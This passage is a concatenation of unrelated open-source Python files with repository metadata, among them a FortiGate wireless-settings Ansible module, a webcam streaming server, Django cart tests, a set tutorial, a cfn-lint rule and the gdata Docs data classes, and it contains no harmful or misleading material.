firewall.schedule.onetime.name)" duplicate_ssid: "enable" fake_ssid_action: "log" fapc_compatibility: "enable" offending_ssid: - action: "log" id: "13" ssid_pattern: "<your_own_value>" phishing_ssid_detect: "enable" wfa_compatibility: "enable" ''' RETURN = ''' build: description: Build number of the fortigate image returned: always type: str sample: '1547' http_method: description: Last method used to provision the content into FortiGate returned: always type: str sample: 'PUT' http_status: description: Last result given by FortiGate on last operation applied returned: always type: str sample: "200" mkey: description: Master key (id) used in the last call to FortiGate returned: success type: str sample: "id" name: description: Name of the table used to fulfill the request returned: always type: str sample: "urlfilter" path: description: Path of the table used to fulfill the request returned: always type: str sample: "webfilter" revision: description: Internal revision number returned: always type: str sample: "17.0.2.10658" serial: description: Serial number of the unit returned: always type: str sample: "FGVMEVYYQT3AB5352" status: description: Indication of the operation's result returned: always type: str sample: "success" vdom: description: Virtual domain used returned: always type: str sample: "root" version: description: Version of the FortiGate returned: always type: str sample: "v5.6.3" ''' from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import Connection from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import FortiOSHandler from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import check_legacy_fortiosapi from ansible_collections.fortinet.fortios.plugins.module_utils.fortimanager.common import FAIL_SOCKET_MSG def filter_wireless_controller_setting_data(json): option_list = ['account_id', 'country', 'darrp_optimize', 'darrp_optimize_schedules', 'duplicate_ssid', 'fake_ssid_action', 'fapc_compatibility', 'offending_ssid', 'phishing_ssid_detect', 'wfa_compatibility'] dictionary = {} for attribute in option_list: if attribute in json and json[attribute] is not None: dictionary[attribute] = json[attribute] return dictionary def underscore_to_hyphen(data): if isinstance(data, list): for i, elem in enumerate(data): data[i] = underscore_to_hyphen(elem) elif isinstance(data, dict): new_data = {} for k, v in data.items(): new_data[k.replace('_', '-')] = underscore_to_hyphen(v) data = new_data return data def wireless_controller_setting(data, fos): vdom = data['vdom'] wireless_controller_setting_data = data['wireless_controller_setting'] filtered_data = underscore_to_hyphen(filter_wireless_controller_setting_data(wireless_controller_setting_data)) return fos.set('wireless-controller', 'setting', data=filtered_data, vdom=vdom) def is_successful_status(status): return status['status'] == "success" or \ status['http_method'] == "DELETE" and status['http_status'] == 404 def fortios_wireless_controller(data, fos): if data['wireless_controller_setting']: resp = wireless_controller_setting(data, fos) else: fos._module.fail_json(msg='missing task body: %s' % ('wireless_controller_setting')) return not is_successful_status(resp), \ resp['status'] == "success" and \ (resp['revision_changed'] if 'revision_changed' in resp else True), \ resp def main(): mkeyname = None fields = { "access_token": {"required": False, "type": "str", "no_log": True}, "vdom": {"required": False, "type": "str", "default": "root"}, "wireless_controller_setting": { "required": False, "type": "dict", "default": None, "options": { "account_id": {"required": False, "type": "str"}, "country": {"required": False, "type": "str", "choices": ["NA", "AL", "DZ", "AO", "AR", "AM", "AU", "AT", "AZ", "BS", "BH", "BD", "BB", "BY", "BE", "BZ", "BO", "BA", "BR", "BN", "BG", "KH", "CF", "CL", "CN", "CO", "CR", "HR", "CY", "CZ", "DK", "DO", "EC", "EG", "SV", "EE", "FI", "FR", "GE", "DE", "GR", "GL", "GD", "GU", "GT", "HT", "HN", "HK", "HU", "IS", "IN", "ID", "IR", "IE", "IL", "IT", "JM", "JO", "KZ", "KE", "KP", "KR", "KW", "LV", "LB", "LI", "LT", "LU", "MO", "MK", "MY", "MT", "MX", "MC", "MA", "MZ", "MM", "NP", "NL", "AN", "AW", "NZ", "NO", "OM", "PK", "PA", "PG", "PY", "PE", "PH", "PL", "PT", "PR", "QA", "RO", "RU", "RW", "SA", "RS", "ME", "SG", "SK", "SI", "ZA", "ES", "LK", "SE", "SD", "CH", "SY", "TW", "TZ", "TH", "TT", "TN", "TR", "AE", "UA", "GB", "US", "PS", "UY", "UZ", "VE", "VN", "YE", "ZB", "ZW", "JP", "CA"]}, "darrp_optimize": {"required": False, "type": "int"}, "darrp_optimize_schedules": {"required": False, "type": "list", "options": { "name": {"required": True, "type": "str"} }}, "duplicate_ssid": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "fake_ssid_action": {"required": False, "type": "str", "choices": ["log", "suppress"]}, "fapc_compatibility": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "offending_ssid": {"required": False, "type": "list", "options": { "action": {"required": False, "type": "str", "choices": ["log", "suppress"]}, "id": {"required": True, "type": "int"}, "ssid_pattern": {"required": False, "type": "str"} }}, "phishing_ssid_detect": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "wfa_compatibility": {"required": False, "type": "str", "choices": ["enable", "disable"]} } } } check_legacy_fortiosapi() module = AnsibleModule(argument_spec=fields, supports_check_mode=False) versions_check_result = None if module._socket_path: connection = Connection(module._socket_path) if 'access_token' in module.params: connection.set_option('access_token', module.params['access_token']) fos = FortiOSHandler(connection, module, mkeyname) is_error, has_changed, result = fortios_wireless_controller(module.params, fos) versions_check_result = connection.get_system_version() else: module.fail_json(**FAIL_SOCKET_MSG) if versions_check_result and versions_check_result['matched'] is False: module.warn("Ansible has detected version mismatch between FortOS system and galaxy, see more details by specifying option -vvv") if not is_error: if versions_check_result and versions_check_result['matched'] is False: module.exit_json(changed=has_changed, version_check_warning=versions_check_result, meta=result) else: module.exit_json(changed=has_changed, meta=result) else: if versions_check_result and versions_check_result['matched'] is False: module.fail_json(msg="Error in repo", version_check_warning=versions_check_result, meta=result) else: module.fail_json(msg="Error in repo", meta=result) if __name__ == '__main__': main()
d5d1c9478dab96f1827d01e24b9b942656c587a8
43c24c890221d6c98e4a45cd63dba4f1aa859f55
/test/cpython/test_openpty.py
0a3c4e43103e38bf52bf056329e17057aefce895
[ "Python-2.0", "Apache-2.0", "BSD-2-Clause" ]
permissive
jmgc/pyston
c8e4df03c33c6b81d20b7d51a781d9e10148238e
9f672c1bbb75710ac17dd3d9107da05c8e9e8e8f
refs/heads/master
2020-12-11T07:51:58.968440
2020-09-11T14:38:38
2020-09-11T14:38:38
39,242,644
0
0
NOASSERTION
2020-09-11T14:38:39
2015-07-17T08:09:31
Python
UTF-8
Python
false
false
43
py
../../from_cpython/Lib/test/test_openpty.py
35b3d73af0a8e35ea5d24e76857a1e773f865d8c
f0fe4f17b5bbc374656be95c5b02ba7dd8e7ec6d
/all_functions/linux server/python GUI/Video capture/VideoCapture-0.9-5/Tools/3rdParty/pushserver/server.py
83fe04d6bb7eef7b5a3a46f7d7f9eafce7ac910d
[ "LicenseRef-scancode-warranty-disclaimer", "MIT", "LGPL-2.1-only" ]
permissive
Heroku-elasa/heroku-buildpack-python-ieee-new
f46a909ebc524da07f8e15c70145d1fe3dbc649b
06ec2fda04d9e478ed2506400e460489b0ca91ab
refs/heads/master
2022-12-10T13:14:40.742661
2020-01-29T14:14:10
2020-01-29T14:14:10
60,902,385
0
0
MIT
2022-12-07T23:34:36
2016-06-11T10:36:10
Python
UTF-8
Python
false
false
3,094
py
import SimpleHTTPServer import urllib import StringIO import posixpath, sys, string import time from VideoCapture import * cam = Device(devnum=0) #~ cam.setResolution(640, 480) # VGA #~ cam.setResolution(768, 576) # PAL #~ cam.setResolution(384, 288) # PAL / 4 #~ cam.setResolution(192, 144) # PAL / 16 #~ cam.setResolution(80, 60) # Minimum sys.stderr = sys.stdout class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def sendImage(self): try: image = cam.getImage(timestamp=3, boldfont=1) stros = StringIO.StringIO() image.save(stros, "jpeg") jpgStr = stros.getvalue() sys.stderr.write("len: %d\n" % len(jpgStr)) self.send_response(200) self.send_header("Content-type", "image/jpeg") self.end_headers() self.wfile.write(jpgStr) except: self.send_response(200) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write("Problem sending image: %s\n" % self.path) def pushImages(self): self.separator = "abcdef" self.maxFrames = 0 try: self.send_response(200) self.send_header("Content-type", "multipart/x-mixed-replace;boundary=%s" % self.separator) self.end_headers() self.wfile.write("--%s\r\n" % self.separator) frameNo = 0 while 1: time.sleep(0.04) frameNo = frameNo + 1 if self.maxFrames > 0 and frameNo > 1000: break image = cam.getImage(timestamp=3, boldfont=1) stros = StringIO.StringIO() image.save(stros, "jpeg") jpgStr = stros.getvalue() sys.stderr.write("len: %d\n" % len(jpgStr)) self.wfile.write("Content-type: image/jpeg\r\n") #self.wfile.write("Content-length: %d\r\n" % len(jpgStr)) self.wfile.write("\r\n") self.wfile.write(jpgStr) self.wfile.write("\r\n--%s\r\n" % self.separator) except: self.send_response(200) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write("Problem sending image: %s\n" % self.path) def do_GET(self): """Serve a GET request.""" if self.path[:len("/quit")] == "/quit": self.send_response(200) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write("exiting....") global cam del cam sys.exit(0) if self.path[:len("/cam")] == "/cam": self.sendImage() return if self.path[:len("/push")] == "/push": self.pushImages() return SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) return if len(sys.argv) == 1: sys.argv = (sys.argv[0], "8000") SimpleHTTPServer.test(MyHandler)
eda9af23bcb627e4435ca6f4e75e92aaca28c80b
b9609c425d8dfed3f32282f1a5f742ced0b4ab55
/cart/tests.py
cd07f1df414f43d5502a7a71a8f6ab049a0e4c17
[]
no_license
OlivierGaillard/elibrairie
5e695f8c21787855e72d55710426c36238bba14b
4d582d8d62efd396e7b0c2bed4182016f0fe5d9a
refs/heads/master
2021-06-27T12:54:10.150293
2017-09-10T19:21:57
2017-09-10T19:21:57
102,965,909
0
0
null
null
null
null
UTF-8
Python
false
false
10,174
py
from django.test import TestCase, Client from django.contrib.staticfiles import finders from django.shortcuts import reverse import os from django.http import request from elibrairie import settings from catalog.models import Book, Category from .models import CartItem from .cartutils import CART_ID_SESSION_KEY class TestCart(TestCase): fixtures = ['category.json', 'books.json'] def test_additem(self): cart_item = CartItem() cart_item.book = Book.objects.get(pk=1) cart_item.cart_id = 'toto-cart' cart_item.save() cart_item2 = CartItem() cart_item2.book = Book.objects.get(pk=2) cart_item2.cart_id = 'toto-cart' cart_item2.save() self.assertTrue(len(CartItem.objects.all()) > 0) def test_session(self): session = self.client.session session['toto'] = 'session-toto' session.save() self.assertTrue(session['toto']) session.set_test_cookie() self.assertTrue(session.test_cookie_worked()) session.delete_test_cookie() def test_additem_url(self): add_item_url = reverse('cart:add_item', kwargs={'pk':1}) self.assertEqual(add_item_url, '/cart/add_item/1') def test_article_added_in_cart(self): c = Client() book = Book.objects.get(titre='Un paradigme') add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk}) response = c.post(add_item_url, follow=True) # The view makes a HttpResponseRedirect self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302 cart_item = CartItem.objects.first() self.assertEqual(cart_item.book, book) def test_session_id_stored_after_article_added(self): """ Verify that session-ID is generated.""" c = Client() book = Book.objects.get(titre='Un paradigme') add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk}) response = c.post(add_item_url, follow=True) self.assertEqual(response.status_code, 200) cart_item = CartItem.objects.first() self.assertTrue(len(cart_item.cart_id) > 0) def test_user_add_2_articles(self): c = Client() book1 = Book.objects.get(titre='Un paradigme') add_item_url = reverse('cart:add_item', kwargs={'pk': book1.pk}) c.post(add_item_url, follow=True) book2 = Book.objects.get(titre='Toujours mieux!') add_item_url = reverse('cart:add_item', kwargs={'pk': book2.pk}) response = c.post(add_item_url, follow=True) self.assertEqual(response.status_code, 200) self.assertEqual(CartItem.objects.all().count(), 2) def test_adding_same_article_2_times(self): c = Client() book1 = Book.objects.get(titre='Un paradigme') add_item_url = reverse('cart:add_item', kwargs={'pk': book1.pk}) c.post(add_item_url, follow=True) c.post(add_item_url, follow=True) self.assertEqual(1, CartItem.objects.count()) self.assertEqual(2, CartItem.objects.first().quantity) def test_cart_total(self): "Return the cart total" c = Client() book1 = Book.objects.get(titre='Un paradigme') book1_price = book1.prix add_item_url = reverse('cart:add_item', kwargs={'pk': book1.pk}) c.post(add_item_url, follow=True) book2 = Book.objects.get(titre='Toujours mieux!') book2_price = book2.prix add_item_url = reverse('cart:add_item', kwargs={'pk': book2.pk}) c.post(add_item_url, follow=True) self.assertEqual(CartItem.get_total_of_cart(c.session[CART_ID_SESSION_KEY]), book1_price + book2_price) def test_cart_total_same_article_2_times(self): c = Client() book1 = Book.objects.get(titre='Un paradigme') add_item_url = reverse('cart:add_item', kwargs={'pk': book1.pk}) c.post(add_item_url, follow=True) c.post(add_item_url, follow=True) self.assertEqual(CartItem.get_total_of_cart(c.session[CART_ID_SESSION_KEY]), book1.prix * 2) def test_list_of_categories_available(self): c = Client() all_books_url = '/catalog/listall/' response = c.get(all_books_url) self.assertEqual(response.status_code, 200) self.assertIn('/catalog/listcat/', response.content.decode(), 'No link to book categories found in all books page.') def test_list_of_categories_available_within_cart_content_page(self): c = Client() book = Book.objects.get(titre='Un paradigme') add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk}) response = c.post(add_item_url, follow=True) self.assertIn('/catalog/listcat/', response.content.decode(), 'No link to book categories found in cart content page.') def test_nb_items_in_cart_visible_on_homepage(self): c = Client() response = c.get('/') self.assertEqual(response.status_code, 200) self.assertIn('counter">0<', response.content.decode()) def test_nb_items_in_cart_visible_on_cart_content_page(self): c = Client() response = c.get('/cart/cart_content/') self.assertEqual(response.status_code, 200) self.assertIn('counter">0<', response.content.decode()) def test_nb_items_in_cart_visible_on_all_book_page(self): c = Client() response = c.get('/catalog/listall/') self.assertEqual(response.status_code, 200) self.assertIn('counter">0<', response.content.decode()) def test_nb_items_in_cart_visible_on_bd_category(self): c = Client() u = '/catalog/listcat/BD' response = c.get(u) self.assertEqual(response.status_code, 200) self.assertIn('counter">0<', response.content.decode()) def test_nb_items_in_cart_visible_on_book_detail(self): c = Client() u = '/catalog/detail/6' response = c.get(u) self.assertEqual(response.status_code, 200) self.assertIn('counter">0<', response.content.decode()) def test_remove_link_visible_in_detail_page(self): c = Client() book = Book.objects.get(titre='Un paradigme') add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk}) response = c.post(add_item_url, follow=True) self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302 u = '/catalog/detail/%s' % book.pk response = c.get(u) self.assertEqual(response.status_code, 200) self.assertIn('remove', response.content.decode()) def test_remove_link_visible_in_cart_page(self): c = Client() book = Book.objects.get(titre='Un paradigme') add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk}) response = c.post(add_item_url, follow=True) self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302 u = '/cart/cart_content/' response = c.get(u) self.assertEqual(response.status_code, 200) self.assertIn('remove', response.content.decode()) def test_remove_item_from_cart(self): c = Client() book = Book.objects.get(titre='Un paradigme') add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk}) response = c.post(add_item_url, follow=True) self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302 self.assertEqual(1, CartItem.objects.count()) u = '/catalog/detail/%s' % book.pk response = c.get(u) self.assertEqual(response.status_code, 200) self.assertIn('remove', response.content.decode()) remove_item_url = reverse('cart:remove_item', kwargs={'pk': book.pk}) response = c.post(remove_item_url, follow=True) self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302 self.assertEqual(0, CartItem.objects.count()) def test_remove_item_from_empty_cart(self): '''Insure no removal if cart is already empty''' c = Client() book = Book.objects.get(titre='Un paradigme') u = '/catalog/detail/%s' % book.pk response = c.get(u) self.assertEqual(response.status_code, 200) self.assertNotIn('remove', response.content.decode()) remove_item_url = reverse('cart:remove_item', kwargs={'pk': book.pk}) response = c.post(remove_item_url, follow=True) self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302 self.assertEqual(0, CartItem.objects.count()) def test_remove_button_hidden_if_cart_empty_in_page_detail(self): '''Insure remove button is hidden if cart is empty.''' c = Client() book = Book.objects.get(titre='Un paradigme') u = '/catalog/detail/%s' % book.pk response = c.get(u) self.assertEqual(response.status_code, 200) self.assertNotIn('remove', response.content.decode()) def test_remove_button_hidden_in_page_detail_when_cart_not_empty_but_other_book_still_not_in_cart(self): '''Insure remove button is hidden if cart is not empty but the detail belongs to another book not in cart.''' c = Client() book = Book.objects.get(titre='Un paradigme') add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk}) c.post(add_item_url, follow=True) book2 = Book.objects.get(titre='Toujours mieux!') u = '/catalog/detail/%s' % book2.pk response = c.get(u) self.assertEqual(response.status_code, 200) self.assertNotIn('remove', response.content.decode()) def test_checkout_page_exists(self): c = Client() check_url = '/cart/checkout/' response = c.get(check_url) self.assertEqual(response.status_code, 200) def test_valid_static_settings(self): result = finders.find('style.css') print(result) self.assertIsNotNone(result) c = Client() print(finders.searched_locations) response = c.get('/') #self.assertTemplateUsed(response,) self.assertEqual(200, response.status_code)
2dd34ed91d4e5ea625355a87413ad5af693536b9
f5ef25c84e9b4846f98d520bc9a20d20b3d1b65c
/set/set1.py
6741123a44faca8e18c340dcbfe9628da7fabf2d
[]
no_license
amiraHag/python-basic-course2
45757ffdfa677c2accd553330cd2fd825208b0aa
1fbfd08b34f3993299d869bd55c6267a61dc7810
refs/heads/main
2023-03-31T06:48:11.587127
2021-03-30T03:43:10
2021-03-30T03:43:10
327,271,713
0
0
null
null
null
null
UTF-8
Python
false
false
1,162
py
# --------------------------------------------------------------------------------------- # # ----------------------- # --------- Set --------- # ----------------------- # # # [1] Set Items Are Enclosed in Curly Braces # [2] Set Items Are Not Ordered And Not Indexed # [3] Set Indexing and Slicing Cant Be Done # [4] Set Has Only Immutable Data Types (Numbers, Strings, Tuples) List and Dict Are Not # [5] Set Items Is Unique # --------------------------------------------------------------------------------------- # used {} not [] like lists or () like tuples set1 = {"Amira",100,True,2,30,4,5,6,7,8} # Set items Not Ordered And Not Indexed NOt Slicing print(set1) #print(set1[2]) Error -> TypeError: 'set' object does not support indexing #print(set1[1:3]) Error -> TypeError: 'set' object is not subscriptable # Set elements from Only Immutable Data Types #mySet2 = {"Amira", 4, 1.5, True, [1, 2, 3]} # Eror -> TypeError: unhashable type: 'list' #print(mySet2) mySet3 = {"Amira", 4, 1.5, True, (1, 2, 3)} print(mySet3) # Set Items Is Unique mySet4 = {1, 2, "A", "B", "A", True, 54, 2} # Will remove the repeated version of the element print(mySet4)
88492f33f8de534399893ebb273852326688d51d
ce76b3ef70b885d7c354b6ddb8447d111548e0f1
/last_thing/come_new_day_at_own_point/have_problem_of_own_year/different_eye.py
06693d6b27f56d6d2f8b7d46e4ca6e54ac2525b6
[]
no_license
JingkaiTang/github-play
9bdca4115eee94a7b5e4ae9d3d6052514729ff21
51b550425a91a97480714fe9bc63cb5112f6f729
refs/heads/master
2021-01-20T20:18:21.249162
2016-08-19T07:20:12
2016-08-19T07:20:12
60,834,519
0
0
null
null
null
null
UTF-8
Python
false
false
277
py
#! /usr/bin/env python def feel_other_person_for_young_hand(str_arg): find_work_from_own_group(str_arg) print('use_person') def find_work_from_own_group(str_arg): print(str_arg) if __name__ == '__main__': feel_other_person_for_young_hand('different_thing')
57f40905b587a23a5f6f1a4d5e6fed0da1a38750
85c57781b746a141e469843ff7d94577cd4bf2a5
/src/cfnlint/rules/functions/FindInMapKeys.py
6b12f775741e2caf583e17463ca2cdc750de9a07
[ "MIT-0" ]
permissive
genums/cfn-python-lint
ac2ea0d9a7997ed599ba9731127a6cada280f411
b654d7fc0ed249d0522b8168dc7e1f4170675bc4
refs/heads/master
2020-04-18T00:49:03.922092
2019-01-21T23:58:02
2019-01-21T23:58:02
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,940
py
""" Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import six from cfnlint import CloudFormationLintRule from cfnlint import RuleMatch class FindInMapKeys(CloudFormationLintRule): """Check if FindInMap values are correct""" id = 'W1011' shortdesc = 'FindInMap keys exist in the map' description = 'Checks the keys in a FindInMap to make sure they exist. ' \ 'Check only if the Map Name is a string and if the key is a string.' source_url = 'https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/intrinsic-function-reference-findinmap.html' tags = ['functions', 'findinmap'] def check_keys(self, map_name, keys, mappings, tree): """ Check the validity of the first key """ matches = [] first_key = keys[0] second_key = keys[1] if isinstance(second_key, (six.string_types, int)): if isinstance(map_name, (six.string_types)): mapping = mappings.get(map_name) if mapping: if isinstance(first_key, (six.string_types, int)): if isinstance(map_name, (six.string_types)): if not mapping.get(first_key): message = 'FindInMap first key "{0}" doesn\'t exist in map "{1}" at {3}' matches.append(RuleMatch( tree[:] + [1], message.format(first_key, map_name, first_key, '/'.join(map(str, tree))))) if mapping.get(first_key): # Don't double error if they first key doesn't exist if not mapping.get(first_key, {}).get(second_key): message = 'FindInMap second key "{0}" doesn\'t exist in map "{1}" under "{2}" at {3}' matches.append(RuleMatch( tree[:] + [2], message.format(second_key, map_name, first_key, '/'.join(map(str, tree))))) else: for key, value in mapping.items(): if not value.get(second_key): message = 'FindInMap second key "{0}" doesn\'t exist in map "{1}" under "{2}" at {3}' matches.append(RuleMatch( tree[:] + [2], message.format(second_key, map_name, key, '/'.join(map(str, tree))))) return matches def match(self, cfn): """Check CloudFormation GetAtt""" matches = [] findinmaps = cfn.search_deep_keys('Fn::FindInMap') mappings = cfn.get_mappings() for findinmap in findinmaps: tree = findinmap[:-1] map_obj = findinmap[-1] if len(map_obj) == 3: matches.extend(self.check_keys(map_obj[0], map_obj[1:], mappings, tree)) return matches
8b22a1578d5df4953a56da36b6c4398aa6b003a2
d2e80a7f2d93e9a38f37e70e12ff564986e76ede
/Python-cookbook-2nd/cb2_15/cb2_15_1_exm_1.py
1ed468d0c137493859fbf02087e909f3b6df71d7
[]
no_license
mahavivo/Python
ceff3d173948df241b4a1de5249fd1c82637a765
42d2ade2d47917ece0759ad83153baba1119cfa1
refs/heads/master
2020-05-21T10:01:31.076383
2018-02-04T13:35:07
2018-02-04T13:35:07
54,322,949
5
0
null
null
null
null
UTF-8
Python
false
false
351
py
from xmlrpclib import Server server = Server("http://www.oreillynet.com/meerkat/xml-rpc/server.php") class MeerkatQuery(object): def __init__(self, search, num_items=5, descriptions=0): self.search = search self.num_items = num_items self.descriptions = descriptions q = MeerkatQuery("[Pp]ython") print server.meerkat.getItems(q)
01143cc98e3a99ff472d28f8ec05f40dd2c29abe
8ca2c5b9673c9bf9a7b6033ffc7b3aea7008ca91
/src/gdata/docs/data.py
074fa917159d07e6044a7530ad2fbfa3af2e03d7
[ "Apache-2.0" ]
permissive
hfalcic/google-gdata
c3a10f0260002c3d8a8d44686572ec2002e076e0
56d49a9915ce51590a655ec5f8aeef9f65517787
refs/heads/master
2021-01-10T22:01:52.403803
2015-02-17T15:12:18
2015-02-17T15:12:18
24,432,292
3
1
null
2014-11-30T07:26:44
2014-09-24T20:53:59
Python
UTF-8
Python
false
false
18,755
py
#!/usr/bin/env python # # Copyright 2011 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Data model classes for representing elements of the Documents List API.""" from __future__ import unicode_literals from future.builtins import object __author__ = '[email protected] (Vic Fryzel)' import atom.core import atom.data import gdata.acl.data import gdata.data DOCUMENTS_NS = 'http://schemas.google.com/docs/2007' LABELS_NS = 'http://schemas.google.com/g/2005/labels' DOCUMENTS_TEMPLATE = '{http://schemas.google.com/docs/2007}%s' ACL_FEEDLINK_REL = 'http://schemas.google.com/acl/2007#accessControlList' RESUMABLE_CREATE_MEDIA_LINK_REL = 'http://schemas.google.com/g/2005#resumable-create-media' RESUMABLE_EDIT_MEDIA_LINK_REL = 'http://schemas.google.com/g/2005#resumable-edit-media' REVISION_FEEDLINK_REL = DOCUMENTS_NS + '/revisions' PARENT_LINK_REL = DOCUMENTS_NS + '#parent' PUBLISH_LINK_REL = DOCUMENTS_NS + '#publish' DATA_KIND_SCHEME = 'http://schemas.google.com/g/2005#kind' LABELS_SCHEME = LABELS_NS DOCUMENT_LABEL = 'document' SPREADSHEET_LABEL = 'spreadsheet' DRAWING_LABEL = 'drawing' PRESENTATION_LABEL = 'presentation' FILE_LABEL = 'file' PDF_LABEL = 'pdf' FORM_LABEL = 'form' ITEM_LABEL = 'item' COLLECTION_LABEL = 'folder' STARRED_LABEL = 'starred' VIEWED_LABEL = 'viewed' HIDDEN_LABEL = 'hidden' TRASHED_LABEL = 'trashed' MINE_LABEL = 'mine' PRIVATE_LABEL = 'private' SHAREDWITHDOMAIN_LABEL = 'shared-with-domain' RESTRICTEDDOWNLOAD_LABEL = 'restricted-download' class ResourceId(atom.core.XmlElement): """The DocList gd:resourceId element.""" _qname = gdata.data.GDATA_TEMPLATE % 'resourceId' class LastModifiedBy(atom.data.Person): """The DocList gd:lastModifiedBy element.""" _qname = gdata.data.GDATA_TEMPLATE % 'lastModifiedBy' class LastViewed(atom.data.Person): """The DocList gd:lastViewed element.""" _qname = gdata.data.GDATA_TEMPLATE % 'lastViewed' class WritersCanInvite(atom.core.XmlElement): """The DocList docs:writersCanInvite element.""" _qname = DOCUMENTS_TEMPLATE % 'writersCanInvite' value = 'value' class Deleted(atom.core.XmlElement): """The DocList gd:deleted element.""" _qname = gdata.data.GDATA_TEMPLATE % 'deleted' class QuotaBytesUsed(atom.core.XmlElement): """The DocList gd:quotaBytesUsed element.""" _qname = gdata.data.GDATA_TEMPLATE % 'quotaBytesUsed' class Publish(atom.core.XmlElement): """The DocList docs:publish element.""" _qname = DOCUMENTS_TEMPLATE % 'publish' value = 'value' class PublishAuto(atom.core.XmlElement): """The DocList docs:publishAuto element.""" _qname = DOCUMENTS_TEMPLATE % 'publishAuto' value = 'value' class PublishOutsideDomain(atom.core.XmlElement): """The DocList docs:publishOutsideDomain element.""" _qname = DOCUMENTS_TEMPLATE % 'publishOutsideDomain' value = 'value' class Filename(atom.core.XmlElement): """The DocList docs:filename element.""" _qname = DOCUMENTS_TEMPLATE % 'filename' class SuggestedFilename(atom.core.XmlElement): """The DocList docs:suggestedFilename element.""" _qname = DOCUMENTS_TEMPLATE % 'suggestedFilename' class Description(atom.core.XmlElement): """The DocList docs:description element.""" _qname = DOCUMENTS_TEMPLATE % 'description' class CategoryFinder(object): """Mixin to provide category finding functionality. Analogous to atom.data.LinkFinder, but a simpler API, specialized for DocList categories. """ def add_category(self, scheme, term, label): """Add a category for a scheme, term and label. Args: scheme: The scheme for the category. term: The term for the category. label: The label for the category Returns: The newly created atom.data.Category. """ category = atom.data.Category(scheme=scheme, term=term, label=label) self.category.append(category) return category AddCategory = add_category def get_categories(self, scheme): """Fetch the category elements for a scheme. Args: scheme: The scheme to fetch the elements for. Returns: Generator of atom.data.Category elements. """ for category in self.category: if category.scheme == scheme: yield category GetCategories = get_categories def remove_categories(self, scheme): """Remove category elements for a scheme. Args: scheme: The scheme of category to remove. """ for category in list(self.get_categories(scheme)): self.category.remove(category) RemoveCategories = remove_categories def get_first_category(self, scheme): """Fetch the first category element for a scheme. Args: scheme: The scheme of category to return. Returns: atom.data.Category if found or None. """ try: return next(self.get_categories(scheme)) except StopIteration as e: # The entry doesn't have the category return None GetFirstCategory = get_first_category def set_resource_type(self, label): """Set the document type for an entry, by building the appropriate atom.data.Category Args: label: str The value for the category entry. If None is passed the category is removed and not set. Returns: An atom.data.Category or None if label is None. """ self.remove_categories(DATA_KIND_SCHEME) if label is not None: return self.add_category(scheme=DATA_KIND_SCHEME, term='%s#%s' % (DOCUMENTS_NS, label), label=label) else: return None SetResourceType = set_resource_type def get_resource_type(self): """Extracts the type of document this Resource is. This method returns the type of document the Resource represents. Possible values are document, presentation, drawing, spreadsheet, file, folder, form, item, or pdf. 'folder' is a possible return value of this method because, for legacy support, we have not yet renamed the folder keyword to collection in the API itself. Returns: String representing the type of document. """ category = self.get_first_category(DATA_KIND_SCHEME) if category is not None: return category.label else: return None GetResourceType = get_resource_type def get_labels(self): """Extracts the labels for this Resource. This method returns the labels as a set, for example: 'hidden', 'starred', 'viewed'. Returns: Set of string labels. """ return set(category.label for category in self.get_categories(LABELS_SCHEME)) GetLabels = get_labels def has_label(self, label): """Whether this Resource has a label. Args: label: The str label to test for Returns: Boolean value indicating presence of label. """ return label in self.get_labels() HasLabel = has_label def add_label(self, label): """Add a label, if it is not present. Args: label: The str label to set """ if not self.has_label(label): self.add_category(scheme=LABELS_SCHEME, term='%s#%s' % (LABELS_NS, label), label=label) AddLabel = add_label def remove_label(self, label): """Remove a label, if it is present. Args: label: The str label to remove """ for category in self.get_categories(LABELS_SCHEME): if category.label == label: self.category.remove(category) RemoveLabel = remove_label def is_starred(self): """Whether this Resource is starred. Returns: Boolean value indicating that the resource is starred. """ return self.has_label(STARRED_LABEL) IsStarred = is_starred def is_hidden(self): 